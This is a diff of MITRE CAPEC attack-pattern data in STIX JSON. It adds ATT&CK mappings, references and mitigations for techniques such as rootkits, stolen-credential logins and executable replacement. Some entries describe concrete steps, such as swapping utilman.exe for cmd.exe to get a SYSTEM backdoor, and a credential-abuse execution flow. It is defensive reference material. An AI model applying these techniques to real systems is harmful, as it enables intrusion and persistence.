"attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd" }, { + "id": "attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc", "name": "Modify Existing Service", "description": "When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32916,7 +35266,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32932,40 +35282,72 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Systemd Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/002", + "external_id": "T1543.002" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Daemon", + "url": "https://attack.mitre.org/wiki/Technique/T1543/004", + "external_id": "T1543.004" + }, + { + "source_name": "ATTACK", + "description": "System Services:Launchctl", + "url": "https://attack.mitre.org/wiki/Technique/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "ATTACK", + "description": "System Services:Service Execution", + "url": "https://attack.mitre.org/wiki/Technique/T1569/002", + "external_id": "T1569.002" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f3d72fe1-750b-47c0-9526-4728852a4e5b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-551-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Limit privileges of user accounts so service changes can only be performed by authorized administrators. Also monitor any service changes that may occur inadvertently.", - "type": "course-of-action", - "id": "course-of-action--f3d72fe1-750b-47c0-9526-4728852a4e5b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f0245e1a-1d11-480f-a078-397f1133e3d3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f0245e1a-1d11-480f-a078-397f1133e3d3", "source_ref": "course-of-action--f3d72fe1-750b-47c0-9526-4728852a4e5b", "relationship_type": "mitigates", "target_ref": "attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc" }, { + "id": "attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156", "name": "Install Rootkit ", "description": "An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32973,7 +35355,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32984,6 +35366,24 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Rootkit", + "url": "https://attack.mitre.org/wiki/Technique/T1014", + "external_id": "T1014" + }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:Bootkit", + "url": "https://attack.mitre.org/wiki/Technique/T1542/003", + "external_id": "T1542.003" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Kernel Modules and Extensions", + "url": "https://attack.mitre.org/wiki/Technique/T1547/006", + "external_id": "T1547.006" } ], "x_capec_likelihood_of_attack": "Medium", @@ -32994,36 +35394,38 @@ "Similar to a rootkit, a bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7b0746b7-4370-4dbd-9a32-96187b4ac73f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-552-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Prevent adversary access to privileged accounts necessary to install rootkits.", - "type": "course-of-action", - "id": "course-of-action--7b0746b7-4370-4dbd-9a32-96187b4ac73f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4d2cd3db-aad4-4f8f-b45c-6841ffaeef34", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4d2cd3db-aad4-4f8f-b45c-6841ffaeef34", "source_ref": "course-of-action--7b0746b7-4370-4dbd-9a32-96187b4ac73f", "relationship_type": "mitigates", "target_ref": "attack-pattern--79037ec7-444c-42cb-a64b-fb4b4f6bd156" }, { + "id": "attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3", "name": "Functionality Bypass", "description": "An adversary attacks a system by bypassing some or all functionality intended to protect it. Often, a system user will think that protection is in place, but the functionality behind those protections has been disabled by the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33048,11 +35450,11 @@ "x_capec_typical_severity": "High", "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ec382da0-af49-489b-bca1-a555d48b7ce3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be", "name": "Remote Services with Stolen Credentials", "description": "This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33060,7 +35462,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33071,45 +35473,95 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Email Collection:Remote Email Collection", + "url": "https://attack.mitre.org/wiki/Technique/T1114/002", + "external_id": "T1114.002" + }, + { + "source_name": "ATTACK", + "description": "Remote Services", + "url": "https://attack.mitre.org/wiki/Technique/T1021", + "external_id": "T1021" + }, + { + "source_name": "ATTACK", + "description": "External Remote Services", + "url": "https://attack.mitre.org/wiki/Technique/T1133", + "external_id": "T1133" } ], "x_capec_typical_severity": "Very High", - "x_capec_abstraction": "Detailed", + "x_capec_abstraction": "Standard", "x_capec_example_instances": [ "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.", "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--3c080d71-9309-4804-877c-86e391e4b059", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-555-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Disable RDP, telnet, SSH and enable firewall rules to block such traffic. Limit users and accounts that have remote interactive login access. Remove the Local Administrators group from the list of groups allowed to login through RDP. Limit remote user permissions. Use remote desktop gateways and multifactor authentication for remote logins.", - "type": "course-of-action", - "id": "course-of-action--3c080d71-9309-4804-877c-86e391e4b059" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--02cc8969-deb0-4e79-ba08-2e68197ab5f6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--02cc8969-deb0-4e79-ba08-2e68197ab5f6", "source_ref": "course-of-action--3c080d71-9309-4804-877c-86e391e4b059", "relationship_type": "mitigates", "target_ref": "attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be" }, { + "id": "attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7", "name": "Replace File Extension Handlers", "description": "When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33117,7 +35569,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33128,48 +35580,56 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Event Triggered Execution:Change Default File Association", + "url": "https://attack.mitre.org/wiki/Technique/T1546/001", + "external_id": "T1546.001" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--4709dd63-ad1f-4755-b03a-b1441d4a3f50", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-556-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Inspect registry for changes. Limit privileges of user accounts so changes to default file handlers can only be performed by authorized administrators.", - "type": "course-of-action", - "id": "course-of-action--4709dd63-ad1f-4755-b03a-b1441d4a3f50" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--96425e94-0d20-4e81-a5f2-950f705d5102", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--96425e94-0d20-4e81-a5f2-950f705d5102", "source_ref": "course-of-action--4709dd63-ad1f-4755-b03a-b1441d4a3f50", "relationship_type": "mitigates", "target_ref": "attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7" }, { + "id": "attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078", "name": "DEPRECATED: Schedule Software To Run", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33179,11 +35639,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067", "name": "Replace Trusted Executable", "description": "An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33191,7 +35651,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33202,6 +35662,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Event Triggered Execution:Accessibility Features", + "url": "https://attack.mitre.org/wiki/Technique/T1546/008", + "external_id": "T1546.008" } ], "x_capec_likelihood_of_attack": "Low", @@ -33211,11 +35677,11 @@ "Specific versions of Windows contain accessibility features that may be launched with a key combination before a user has logged in (for example when they are on the Windows Logon screen). On Windows XP and Windows Server 2003/R2, the program (e.g. \"C:\\Windows\\System32\\utilman.exe\") may be replaced with cmd.exe (or another program that provides backdoor access). Then pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over RDP will cause the replaced file to be executed with SYSTEM privileges." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31", "name": "Orbital Jamming", "description": "In this attack pattern, the adversary sends disruptive signals at a target satellite using a rogue uplink station to disrupt the intended transmission. Those within the satellite's footprint are prevented from reaching the satellite's targeted or neighboring channels. The satellite's footprint size depends upon its position in the sky; higher orbital satellites cover multiple continents.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33251,11 +35717,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7a6e0e5c-f18e-4612-aaa6-68bdeb378b31" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac", "name": "DEPRECATED: Removing/short-circuiting 'guard logic'", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-207 : Removing Important Client Functionality. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33273,19 +35739,19 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7", "name": "Use of Known Domain Credentials", - "description": "An adversary uses stolen credentials (e.g., userid and password) to access systems managed under the same credential framework on a local network. Often, users are allowed to login to connected machines using the same password. Discovery of the password on one machine allows for lateral movement to those machines.", + "description": "\n An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted credentials typically result in the adversary laterally moving within the local network, since users are often allowed to login to systems/applications within the network using the same password. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.\n Attacks on known passwords generally rely on the primary fact that users often reuse the same username/password combination for a variety of systems, applications, and services, coupled with poor password policies on the target system or application. Adversaries can also utilize known passwords to target Single Sign On (SSO) or cloud-based applications and services, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data.\n Successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.\n ", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33296,23 +35762,334 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1273.html", + "external_id": "CWE-1273" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Default Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Domain Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/002", + "external_id": "T1078.002" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Local Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/003", + "external_id": "T1078.003" + }, + { + "source_name": "ATTACK", + "description": "Trusted Relationship", + "url": "https://attack.mitre.org/wiki/Technique/T1199", + "external_id": "T1199" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Attractive Accounts for Credential Theft, 2017--05---31, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/attractive-accounts-for-credential-theft?redirectedfrom=MSDN", + "external_id": "REF-570" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Feike Hacquebord, Two Years of Pawn Storm: Examining an Increasingly Relevant Threat, 2017--04---25, Trend Micro", + "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf", + "external_id": "REF-571" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Corporate IoT \u2013 a path to intrusion, 2019--10---05, Microsoft Security Response Center (MSRC)", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion", + "external_id": "REF-572" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Brendan McKeague, Van Ta, Ben Fedore, Geoff Ackerman, Alex Pennino, Andrew Thompson, Douglas Bienstock, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware, 2019--04---05, Microsoft Security Response Center (MSRC)", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "external_id": "REF-573" } ], - "x_capec_abstraction": "Standard", - "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known credential, leveraging it is trivial." + }, + "x_capec_resources_required": [ + "A list of known credentials.", + "A custom script that leverages the credential list to launch an attack." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Meta", + "x_capec_example_instances": [ + "Throughout 2015 and 2016, APT28 \u2014 also known as Pawn Storm, Sednit, Fancy Bear, Sofacy, and STRONTIUM \u2014 leveraged stolen credentials to infiltrate the Democratic National Committee (DNC), the United States Army, the World Anti-Doping Agency (WADA), the Court of Arbitration for Sport (TAS-CAS), and more. In most cases, the legitimate credentials were obtained via calculated spearphishing, tabnabbing, and DNS attacks targeted at corporate webmail systems. APT28 also executed several watering hole attacks, in addition to exploiting several zero-day vulnerabilities within Flash and Windows. The stolen credentials were then utilized to maintain authenticated access, laterally move within the local network, and exfiltrate sensitive information including DNC emails and personal medical records of numerous athletes. [REF-571]", + "In early 2019, FIN6 exploited stolen credentials from an organization within the engineering industry to laterally move within an environment via the Windows\u2019 Remote Desktop Protocol (RDP). Multiple servers were subsequently infected with malware to create malware distribution servers, which were used to distribute the LockerGoga ransomware. [REF-573]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.

    2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.

  2. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.

    3. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each credential until the target grants access.

    2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-0", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the domain network.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--e3e578d6-8b57-4c74-a939-800e0cf7a45b", + "source_ref": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--6395a05b-7097-429d-878c-c8c1f5d4beb4", + "source_ref": "course-of-action--93ed0e66-1693-44b2-b416-bee8db1ad4c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-2", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Ensure users are not reusing username/password combinations for multiple systems, applications, or services.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--f17a2576-00f1-49a8-b554-5ec205ca54a2" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--00382075-fd38-4145-ac07-88fa46ab5e82", + "source_ref": "course-of-action--f17a2576-00f1-49a8-b554-5ec205ca54a2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-3", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Do not reuse local administrator account credentials across systems.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--7c813ade-2f68-46ad-b0ff-b3aa1d6f16d0" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--8e80f453-8c74-45c3-ad17-5cceded60e65", + "source_ref": "course-of-action--7c813ade-2f68-46ad-b0ff-b3aa1d6f16d0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-4", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Deny remote use of local admin credentials to log into domain systems.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--8e39cc3a-64c4-488e-84a3-e2613bdb1254" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + 